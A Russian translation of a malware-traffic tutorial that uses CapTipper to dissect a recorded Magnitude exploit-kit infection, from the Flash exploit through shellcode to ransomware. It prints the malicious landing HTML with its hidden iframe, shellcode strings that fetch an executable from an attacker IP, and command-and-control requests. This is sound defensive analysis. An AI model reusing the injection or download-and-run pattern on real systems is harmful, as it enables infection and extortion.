Анализ вредоносного трафика программы-вымогателя с помощью CapTipper
Дата публикации: 2020-05-07
Автор: Анонимный переводчик
Теги: forensics, network, ransomware
Источник: https://www.fuzzysecurity.com/tutorials/21.html
Введение
В данной статье будет проведено исследование вредоносного трафика, сгенерированного с помощью набора эксплойтов Magnitude. Для исследования будет использоваться утилита CapTipper. Это написанный на языке Python инструмент для анализа, изучения и восстановления вредоносного HTTP трафика.
CapTipper поднимает веб-сервер, который повторяет действия сервера записанные в файле с дампом трафика, и содержит внутренние инструменты с мощной интерактивной консолью для анализа и проверки найденных узлов, объектов и коммуникаций.
Он предоставляет исследователю безопасности быстрый доступ к содержимому файлов и понимание сетевого потока, а также полезен для исследования работы эксплойтов, методов обфускации, плагинов и шеллкодов.
Что нам потребуется:
- Wireshark
- CapTipper
- Snorby
- Набор правил Emerging Threats Rules
- PCAP – файл, который мы будем изучать
Первоначальный анализ
CapTipper является отличным инструментом для анализа HTTP трафика. Он может записывать запросы браузера, заголовки ответа сервера, тела ответа сервера, выполнять базовый анализ полезной нагрузки и извлекать файлы и HTTP объекты из потока трафика.
Итак, запустив CapTipper и передав ему в качестве аргумента путь к .pcap файлу мы получим список событий.Также список событий можно получить с помощью команды convs.
Получение списка событий
Список событий может дать нам представление о том, что происходило между атакующим хостом и сервером.
Следующий этап анализа вредоносного трафика ‒ группировка запросов по доменам и IP-адресам, с которыми происходил обмен данными. Сделать это можно с помощью команды hosts, после чего будет доступен следующий вывод:
Домены в запросах под индексом 0 и 1 выглядят подозрительно и, вероятно, являются вредоносными ресурсами. Каждое событие является отдельным запросом, доступным для анализа. Проведем первоначальный анализ с помощью команд info, head и req, указав в качестве аргумента индекс подозрительного запроса.
С помощью выполнения info 0 получим информацию об IP-адресе, URI, методе, статусе, типе полученного ответа и других метаданных запроса. Команда head выведет список заголовков ответа.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | CT> info 0 Info of conversation 0: SERVER IP : 62.75.195.236:80 TIME : Thu, 05/07/15 20:51:37 HOST : va872g.g90e1h.b8.642b63u.j985a2.v33e.37.pa269cc.e8mfzdgrf7g0.groupprograms.in URI : /?285a4d4e4e5a4d4d4649584c5d43064b4745 REFERER : METHOD : GET RESULT NUM : 200 OK RESULT TYPE : text/html FILE NAME : 0.html MAGIC : HyperText Markup Language (HTML) LENGTH : 560 B CT> head 0 Displaying header of object 0 (0.html): HTTP/1.1 200 OK Date: Thu, 07 May 2015 20:51:34 GMT Server: Apache/2.2.15 (CentOS) DAV/2 mod_fastcgi/2.4.6 X-Powered-By: PHP/5.3.3 Content-Length: 560 Connection: close Content-Type: text/html |
Сбор информации
Команда req выведет запрос, отправленный пользователем, в котором можно заметить большое количество объявленных MIME-типов, которые пользователь готов принять от сервера.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | CT> req 0 Displaying request for object 0 (0.html) [583 bytes]: GET /?285a4d4e4e5a4d4d4649584c5d43064b4745 HTTP/1.1 Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif, image/pjpeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Accept-Encoding: gzip, deflate Host: va872g.g90e1h.b8.642b63u.j985a2.v33e.37.pa269cc.e8mfzdgrf7g0.groupprograms.in Connection: Keep-Alive |
С помощью команды body выведем полученный ответ. По умолчанию вывод будет занимать 256 байт, поэтому для получения всего ответа нужно явно указать желаемый размер в байтах, либо строку all в качестве второго аргумента.
1 2 3 4 5 6 7 8 9 10 11 | <html><body><object type="application/x-shockwave-flash" allowScriptAccess="always" width="434" height="449"> <param name="movie" value="http://ubb67.3c147o.u806a4.w07d919.o5f.f1.b80w.r0faf9.e8mfzdgrf7g0.groupprograms.in/"> <param name="play" value="true"></object><script>var fhxa45 = document.createElement('if'+'rame'); fhxa45.setAttribute('src', 'http://r03afd2.c3008e.xc07r.b0f.a39.h7f0fa5eu.vb8fbl.e8mfzdgrf7g0.groupprograms.in/'); fhxa45.setAttribute('width', 434);fhxa45.setAttribute('height', 449);document.body.appendChild(fhxa45);</script> </body></html> |
Для более удобного изучения можно воспользоваться онлайн инструментами форматирования HTML.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | <html> <body> <object type="application/x-shockwave-flash" allowScriptAccess="always" width="434" height="449"> <param name="movie" value="http://ubb67.3c147o.u806a4.w07d919.o5f.f1.b80w.r0faf9.e8mfzdgrf7g0.groupprograms.in/"> <param name="play" value="true"> </object> <script> var fhxa45 = document.createElement('if'+'rame'); fhxa45.setAttribute('src', 'http://r03afd2.c3008e.xc07r.b0f.a39.h7f0fa5eu.vb8fbl.e8mfzdgrf7g0.groupprograms.in/'); fhxa45.setAttribute('width', 434); fhxa45.setAttribute('height', 449); document.body.appendChild(fhxa45); </script> </body> </html> |
Исходя из полученных данных видно, что HTML страница загружает два отдельных ресурса. Объект shockwave указывает на одну из уязвимостей в Adobe Shockwave, которая позволит злоумышленнику скомпрометировать браузер пользователя и исполнить вредоносный код. Второй объект, вероятно, создается для сокрытия flash-объекта, поскольку они имеют одинаковую ширину и высоту.
Теперь мы знаем, что последующий пользовательский запрос был инициирован flash-объектом. Займемся сбором информации о нем.
Идентификация эксплуатируемой уязвимости
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | CT> req 1 Displaying request for object 1 (1.html) [518 bytes]: GET / HTTP/1.1 Accept: */* Accept-Language: en-US Referer: http://va872g.g90e1h.b8.642b63u.j985a2.v33e.37.pa269cc.e8mfzdgrf7g0.groupprograms.in/?285a4d4e4e 5a4d4d4649584c5d43064b4745 x-flash-version: 11,8,800,94 # уязвимая версия Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ubb67.3c147o.u806a4.w07d919.o5f.f1.b80w.r0faf9.e8mfzdgrf7g0.groupprograms.in Connection: Keep-Alive CT> head 1 Displaying header of object 1 (1.html): HTTP/1.1 200 OK Date: Thu, 07 May 2015 20:51:34 GMT Server: Apache/2.2.15 (CentOS) DAV/2 mod_fastcgi/2.4.6 X-Powered-By: PHP/5.3.3 Content-Length: 8973 Connection: close Content-Type: application/x-shockwave-flash |
В заголовках запроса пользователя указана версия flash-плеера, информацию об уязвимостях которой можно найти на ресурсе cvedetails.com. Данная версия имеет большое количество уязвимостей, связанных с исполнением произвольного кода.
При получении тела запроса видим сигнатуру CWS, которая указывает на то, что это файл SWF. Сигнатуру (первые 3 байта в выводе ‒ 43 57 53 ‒ являются сигнатурой файла) можно получить с помощью команды hexdump.
1 2 3 4 5 6 7 8 9 | CT> hexdump 1 48 Displaying hexdump of object 1 (1.html) body [48 bytes]: 0000 43 57 53 0B D3 25 00 00 78 DA 85 99 77 58 13 4D CWS..%..x...wX.M # SWF magic bytes. 0010 F7 F7 13 12 08 84 0E D2 5B E8 52 43 EF BD F7 DE ........[.RC.... 0020 11 A9 A1 93 50 42 13 94 DE 41 29 0A 4A 91 22 BD ....PB...A).J.". |
Также можно посчитать найденные хеш-суммы файла для ручного поиска или анализа/отправки на Virus Total или Malwr.
- Malwr – e442dc5640e7490879034750d54ce51b
- Virus Total – e442dc5640e7490879034750d54ce51b
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | CT> hashes 1 Hashes of object 1 (1.html): md5 : e442dc5640e7490879034750d54ce51b sha1 : b473a7b89a432287db030a2cd614fd5463dd5e60 sha224 : 8258a05aefcb16ec8b21c8a02063cd368f55327930eb9114572c1dc1 sha256 : 81523163b298f2543d5f56a4c44ef8b07c6c9b3844b629b04fb870ca356c1437 sha384 : 88ce017cc49619a7b57322898d8d8728f84f95c2d0345c38494bc3e0a35ccd4925602c00df8cd1d23a47318881a 2969c sha512 : 37858a9cd3e9b7d3f9d4b313e4e4f6a8dcadd763c78762547658fa360827e36a84d4732c505aed2b72a38bf342f 3afdad83824f2aa0b68f65c260c4b20f8233b |
Теперь мы можем сделать его дамп для последующего анализа.
1 2 3 | CT> dump 1 /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-0311_compressed.swf Object 1 written to /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-0311_compressed.swf |
Разархивируем файл и снова посчитаем его хэш-сумму.
1 2 3 4 5 6 7 8 9 10 11 12 13 | root@Yoshikawa:~/ToolKit/Flasm# ./flasm -x /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-201 5-0311_compressed.swf /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-0311_compressed.swf successfully decompressed, 9683 bytes root@Yoshikawa:~/ToolKit/Flasm# md5sum /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-03 11_compressed.swf 61ffda5f5926868a257a792d6bb4a42c /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-0311_compressed.swf root@Yoshikawa:~/ToolKit/Flasm# mv /root/Desktop/Magnitude/e442dc5640e7490879034750d54ce51b_CVE-2015-0311_compressed.swf /root/Desktop/Magnitude/61ffda5f5926868a257a792d6bb4a42c_CVE-2015-0311_decompressed.swf |
После распаковки флэш-файл может быть декомпилирован с помощью нескольких декомпиляторов (таких как JPEXS или RABCDAsm). Для вашего удобства я приложил архив с распакованным SWF и папку с декомпилированными данными из JPEXS. Пароль для архива “infected”.
Пост-эксплуатация
В ходе анализа с помощью антивирусных решений была выявлена эксплуатируемая уязвимость, в названии некоторых сигнатур содержится ее идентификатор ‒ CVE-2015-0311.
На данном этапе мы знаем, что пользователь был заражен. Продолжая рассматривать наш кейс, мы видим, что целью следующей серии запросов является тот же IP-адрес ‒ 62.75.195.236.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | # This host is serving the post-compromise implants used by this particular instance of Magnitude EK. 62.75.195.236 (62.75.195.236:80) ├-- [2] /aa25f5fe2875e3d0a244e6969e589cc4 -> text/html [861.0 B] (Magic: BINARY) [Stage 1 - Dropper] ├-- [3] /?b514ee6f0fe486009a6d83b035a4c0bd -> text/html [216.0 KB] (Magic: EXE) [Stage 2 - Implant] ├-- [4] /?b2566564b3ba1a38e61c83957a7dbcd5 -> text/html [0.0 B] ├-- [5] /?3a08b0be8322c244f5a1cb9c1057d941 -> text/html [0.0 B] ├-- [6] /?d71e0bd86db9587158745a986a4b3606 -> text/html [0.0 B] ├-- [7] /?34eaf8bd50d85d8c6baacb45f0a7b22e -> text/html [0.0 B] ├-- [8] /?60dbe33b908e0086292196ef001816bc -> text/html [0.0 B] └-- [11] /?51424ddd486ff06861fceed24e86b329 -> text/html [0.0 B] |
Похоже на то, что злоумышленник эксплуатирует вышеуказанную уязвимость во flash для исполнения кода доставки полезной нагрузки.
Если мы посмотрим внимательнее, то увидим, что формат URL для первого запроса отличается от остальных семи последующих (он не начинается с «?»).
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 | [2] /aa25f5fe2875e3d0a244e6969e589cc4 -> text/html [861.0 B] (Magic: BINARY) [Stage 1 - Dropper] Dropper: # Заголовков браузеров по умолчанию нет (например, «User-Agent»), это подтверждает теорию о том, что именно Flash-эксплойт делает веб-запрос, а не пользователь. CT> req 2 Displaying request for object 2 (aa25f5fe2875e3d0a244e6969e589cc4) [66 bytes]: GET /aa25f5fe2875e3d0a244e6969e589cc4 HTTP/1.1 Host: 62.75.195.236 # Предположительно, здесь должен использоваться MIME-тип HTML, но это оказывается не так. CT> head 2 Displaying header of object 2 (aa25f5fe2875e3d0a244e6969e589cc4): HTTP/1.1 200 OK Date: Thu, 07 May 2015 20:51:36 GMT Server: Apache/2.2.15 (CentOS) DAV/2 mod_fastcgi/2.4.6 X-Powered-By: PHP/5.3.3 Content-Length: 861 Connection: close Content-Type: text/html # Глядя на первые несколько байтов тела ответа, мы не можем определить, какой тип имеет данный ответ. CT> hexdump 2 48 Displaying hexdump of object 2 (aa25f5fe2875e3d0a244e6969e589cc4) body [48 bytes]: 0000 E8 00 00 00 00 5B 8D B3 B9 01 00 00 56 8D B3 A5 .....[......V... 0010 01 00 00 56 6A 04 68 88 4E 0D 00 E8 9D 00 00 00 ...Vj.h.N....... 0020 8D 83 CD 01 00 00 50 FF 93 B9 01 00 00 8D B3 C9 ......P......... # Извлекаем тело ответа. CT> dump 2 /root/Desktop/Magnitude/Resp_Body_2.bin Object 2 written to /root/Desktop/Magnitude/Resp_Body_2.bin |
В списке событий содержимое ответа на этот запрос идентифицируется как бинарный файл, поэтому попробуем извлечь из него строковые значения с помощью утилиты strings:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | root@Yoshikawa:~# strings /root/Desktop/Magnitude/Resp_Body_2.bin XxXP Y_^[ QSR1 @Z[Y urlmon.dll http://62.75.195.236/?b514ee6f0fe486009a6d83b035a4c0bd|http://62.75.195.236/?b2566564b3ba1a38e61c83957a7db cd5|http://62.75.195.236/?3a08b0be8322c244f5a1cb9c1057d941|http://62.75.195.236/?d71e0bd86db9587158745a986 a4b3606|http://62.75.195.236/?34eaf8bd50d85d8c6baacb45f0a7b22e|http://62.75.195.236/?60dbe33b908e008629219 6ef001816bc|http://62.75.195.236/?51424ddd486ff06861fceed24e86b329 |
Ответ содержит в себе адреса следующих семи запросов и название файла urlmon.dll, который является легитимным Windows-dll, обеспечивающим абстракцию от вызовов API для загрузки файлов.
Шеллкод
Таким образом, извлеченный бинарный файл является шелл-кодом, инициирующим загрузку содержимого со следующих URL.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | 62.75.195.236 (62.75.195.236:80) ├-- [3] /?b514ee6f0fe486009a6d83b035a4c0bd -> text/html [216.0 KB] (Magic: EXE) [Stage 2 - Implant] ├-- [4] /?b2566564b3ba1a38e61c83957a7dbcd5 -> text/html [0.0 B] ├-- [5] /?3a08b0be8322c244f5a1cb9c1057d941 -> text/html [0.0 B] ├-- [6] /?d71e0bd86db9587158745a986a4b3606 -> text/html [0.0 B] ├-- [7] /?34eaf8bd50d85d8c6baacb45f0a7b22e -> text/html [0.0 B] ├-- [8] /?60dbe33b908e0086292196ef001816bc -> text/html [0.0 B] └-- [11] /?51424ddd486ff06861fceed24e86b329 -> text/html [0.0 B] |
В теле ответа на первый запрос содержится исполняемый файл. На остальные запросы сервер вернул только код 200. Данное поведение может быть объяснено тем, что в случае успешной загрузки исполняемого файла веб-сервер начинает игнорировать запросы на загрузку файла с IP-адреса жертвы, либо не имеет остальных исполняемых файлов.
Рассмотрим более подробно третий запрос:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | CT> head 3 Displaying header of object 3 (3.html): HTTP/1.1 200 OK Date: Thu, 07 May 2015 20:51:36 GMT Server: Apache/2.2.15 (CentOS) DAV/2 mod_fastcgi/2.4.6 X-Powered-By: PHP/5.3.3 Content-Length: 221184 Connection: close Content-Type: text/html |
Данные были переданы с ложным MIME-типом для предупреждения возможной блокировки запроса, а содержимое является исполняемым файлом.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | CT> hexdump 3 116 Displaying hexdump of object 3 (3.html) body [116 bytes]: 0000 4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 MZ.............. # MZ-DOS заголовок. 0010 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 ........@....... 0020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030 00 00 00 00 00 00 00 00 00 00 00 00 F8 00 00 00 ................ 0040 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 ........!..L.!Th 0050 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F is program canno 0060 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 t be run in DOS 0070 6D 6F 64 65 mode CT> hashes 3 Hashes of object 3 (3.html): md5 : 6cb75dd478d56910e1581afe2b87c6f7 sha1 : f44bda9a9c6b3554e920d9b49c3c9e37550c78ac sha224 : f21acb61885c06c8f7651ee96ad2110e7cdd5499d950274c4cd2b2f6 sha256 : 532f1d6b8faf6e54e3f6f9279e9720bf9f27257d2b75ce72e86ed3ca6578fafb sha384 : f27fac728edb2098b5ba9995eec992e19fd15f2d925da32252b42e869e1d4fc6348d0a6dfc2857bb2966fa455dc 15af4 sha512 : ba8c0d11e71ab55d2d3a5ce50e815cdcbd4124e6af01b8378943417216e8658f9cc563483407b2ce5e9097a37b1 75b02e9cc99995cfc551f3c0860faa72c84cb |
При отправке хеша данного файла на анализ в VirusTotal было найдено 63 антивирусных вендора знающих о наличии вредоносного кода в файлах с такой хэш-суммой.
Анализ работы полезной нагрузки
Зачастую конечной целью злоумышленника является получение денег от жертвы, а для ее достижения могут быть использованы различные атаки от перехвата вызовов API для нажатия клавиш, подмены DNS для кражи паролей от банковских аккаунтов до применения различных программ-вымогателей и шифровальщиков, с которыми мы и имеем дело, о чем нам говорят названия некоторых сигнатур из отчета VirusTotal.
Вредоносный код начинает генерировать веб-трафик. Давайте подробнее рассмотрим запрос 9.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | CT> info 9 Info of conversation 9: SERVER IP : 188.165.164.184:80 TIME : Thu, 05/07/15 20:51:42 HOST : ip-addr.es URI : /(2) REFERER : METHOD : GET RESULT NUM : 200 OK RESULT TYPE : text/plain FILE NAME : (2) MAGIC : Inconclusive. Probably text (TEXT) LENGTH : 14 B CT> req 9 Displaying request for object 9 ((2)) [226 bytes]: GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507 27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: ip-addr.es Cache-Control: no-cache CT> body 9 Displaying body of object 9 ((2)) [14 bytes]: Запрос выглядит любопытно, попробуем использовать curl, для того, чтобы понять его предназначение. root@Yoshikawa:~# curl -v ip-addr.es * Rebuilt URL to: ip-addr.es/ * Hostname was NOT found in DNS cache * Trying 188.165.164.184... * Connected to ip-addr.es (188.165.164.184) port 80 (#0) > GET / HTTP/1.1 > User-Agent: curl/7.35.0 > Host: ip-addr.es > Accept: */* > < HTTP/1.1 200 OK < Date: Sat, 13 Jun 2015 13:03:07 GMT < Content-Type: text/plain;charset=UTF-8 < Transfer-Encoding: chunked < Connection: keep-alive < Vary: Accept-Encoding < Last-Modified: Sat, 13 Jun 2015 13:03:07 GMT < Cache-Control: no-store, no-cache, must-revalidate, max-age=0, post-check=0, pre-check=0 < Expires: Thu, 01 Jan 1970 00:00:00 GMT < Pragma: no-cache < X-XSS-Protection: 1 * Server DYNAMIC+ is not blacklisted < Server: DYNAMIC |
Данный запрос является обращением на домен ip-addr.es (188.165.164.184:80), который дублирует функционал ipaddr.es и предоставляет информацию о публичном IP-адресе для сбора дополнительной информации о скомпрометированном хосте.
При изучении двух последующих групп запросов мы увидим, что они были абсолютно идентичными, но все запросы на домен runlove.us вернулись с кодом 404.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | runlove.us (204.152.254.221:80) ├-- /wp-content/themes/twentyfifteen/img5.php?t=cdcnw7cfz43rmtg [10] \ ├-- /wp-content/themes/twentyfifteen/img5.php?l=8r1gf1b2t1kuq42 [13] | -> HTTP/1.1 404 Not Found ├-- /wp-content/themes/twentyfifteen/img5.php?u=mfymi71rapdzk [15] | └-- /wp-content/themes/twentyfifteen/img5.php?f=ka6nnuvccqlw9 [17] / comarksecurity.com (72.34.49.86:80) ├-- /wp-content/themes/grizzly/img5.php?c=cdcnw7cfz43rmtg [12] \ ├-- /wp-content/themes/grizzly/img5.php?t=8r1gf1b2t1kuq42 [14] | -> HTTP/1.1 200 OK ├-- /wp-content/themes/grizzly/img5.php?u=mfymi71rapdzk [16] | └-- /wp-content/themes/grizzly/img5.php?u=ka6nnuvccqlw9 [18] / |
Второй домен оказался более интересным ‒ ответы на 2 из 4 запросов содержат зашифрованные данные. Неизвестно, каким методом были зашифрованы эти данные (может быть AES), но расшифровать их не удалось. Скорее всего, при помощи данных запросов полезная нагрузка получает параметры конфигурации с сервера злоумышленника.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 | CT> req 12 Displaying request for object 12 (img5.php) [385 bytes]: POST /wp-content/themes/grizzly/img5.php?c=cdcnw7cfz43rmtg HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 134 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507 27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: comarksecurity.com Cache-Control: no-cache CT> body 12 Displaying body of object 12 (img5.php) [14 bytes]: ef6236ae8751b8 CT> req 14 Displaying request for object 14 (img5.php) [384 bytes]: POST /wp-content/themes/grizzly/img5.php?t=8r1gf1b2t1kuq42 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 96 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507 27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: comarksecurity.com Cache-Control: no-cache CT> body 14 Displaying body of object 14 (img5.php) [256 bytes]: b8a679f4d471dffc634846182942756db8e6c9b7d0902345958ae475c4c038b027772743f90399fb9b26f4581ea54fd320aaa2c815 ca5d7413c59b8ec6d0560c32e51b000854a1f5848edd81e3882aa762986278325fda33ad8f4db542a7254fbde1e4db06e242890c53 e475842ebb888f088b423dc7eaacdab585bf2adb0a1a CT> req 18 Displaying request for object 18 (img5.php) [383 bytes]: POST /wp-content/themes/grizzly/img5.php?u=ka6nnuvccqlw9 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 110 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507 27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: comarksecurity.com Cache-Control: no-cache CT> body 18 Displaying body of object 18 (img5.php) [14 bytes]: 25441160346ecb |
Эти данные нам не могут ничего сказать, однако это только 3 из 4 запросов. Один оставшийся запрос – 16-й, содержит изображение.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | CT> req 16 Displaying request for object 16 (img5.php) [383 bytes]: POST /wp-content/themes/grizzly/img5.php?u=mfymi71rapdzk HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded Connection: Close Content-Length: 162 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507 27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Host: comarksecurity.com Cache-Control: no-cache CT> hexdump 16 48 Displaying hexdump of object 16 (img5.php) body [48 bytes]: 0000 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52 .PNG........IHDR # PNG magic bytes. 0010 00 00 03 AF 00 00 02 CA 08 02 00 00 00 52 B4 F0 .............R.. 0020 E3 00 00 20 00 49 44 41 54 78 9C EC BD 3D 8F E3 ... .IDATx...=.. |
Сделаем его дамп для просмотра.
1 2 3 | CT> dump 16 /root/Desktop/Magnitude/16.png Object 16 written to /root/Desktop/Magnitude/16.png |
На картинке написано, что все файлы на компьютере жертвы были зашифрованы, а злоумышленник просит перейти на .onion ресурс для перевода средств.
Наконец, из записанного трафика мы можем увидеть, что жертва просматривает публичную конечную точку для домена TOR.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | 7oqnsnzwwnm6zb7y.gigapaysun.com (95.163.121.204:80) ├-- /11iQmfg [19] ├-- /img/style.css [20] ├-- /img/flags/it.png [21] ├-- /picture.php?k=11iqmfg&b7f2a994c3eaaf014608b272c46cf764 [22] ├-- /img/lt.png [23] ├-- /img/flags/es.png [24] ├-- /img/flags/us.png [25] ├-- /img/flags/fr.png [26] ├-- /img/lb.png [27] ├-- /img/rt.png [28] ├-- /favicon.ico [29] ├-- /img/rb.png [30] ├-- /img/flags/de.png [31] ├-- /img/bitcoin.png [32] └-- /img/button_pay.png [33] |
Давайте попробуем восстановить страницу, просмотренную жертвой. Данный запрос был сжат, на что указывает значение заголовка Content-Encoding, поэтому сначала его нужно разархивировать.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 | CT> req 19 Displaying request for object 19 (11iQmfg) [319 bytes]: GET /11iQmfg HTTP/1.1 Accept: */* Accept-Language: en-US User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.507 27; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0) Accept-Encoding: gzip, deflate Host: 7oqnsnzwwnm6zb7y.gigapaysun.com Connection: Keep-Alive # Сжатие gzip CT> head 19 Displaying header of object 19 (11iQmfg): HTTP/1.1 200 OK Server: nginx/1.2.1 Date: Thu, 07 May 2015 20:48:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.39-0+deb7u2 Set-Cookie: PHPSESSID=uqq1670l1pkd07vgdnsg98dee5; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Encoding: gzip CT> ungzip 19 GZIP Decompression of object 19 (11iQmfg) successful! New object created: 35 CT> body 35 5000 Displaying body of object 35 (ungzip-11iQmfg) [3289 bytes]: <!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Decrypt service <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <link rel="stylesheet" href="img/style.css" type="text/css"/> [...Snip...] |
Так как CapTipper поднимает веб-сервер для эмуляции обмена данными, мы можем посмотреть, как выглядела просмотренная пользователем страница.
Для обнаружения и проверки подобного вредоносного трафика можно также использовать набор правил Emerging Threats. Если настроить виртуальную машину и snorby в сочетании с правилами ET и запустить наш файл pcap в tcpreplay на интерфейсе, который отслеживает IDS, то, как показано на приведенном ниже снимке экрана, мы будем наблюдать предупреждения о злонамеренности трафика.
Заключение
В данной статье был проведен обзор того, как с помощью CapTipper’a можно проанализировать сетевой трафик программы-вымогателя: от эксплуатации уязвимости на клиентской части до непосредственно использования вымогателя и шантажа пользователя.
Для людей, интересующихся анализом трафика ВПО, которые собираются повторять исследование из данной статьи автор рекомендует включить мозг, чтобы не зашифровать свои данные. Также автор оригинальной статьи, когда пользователи попадаются программам-вымогателям, и рекомендует держать все программы и плагины в обновленном состоянии и не кликать на рекламу.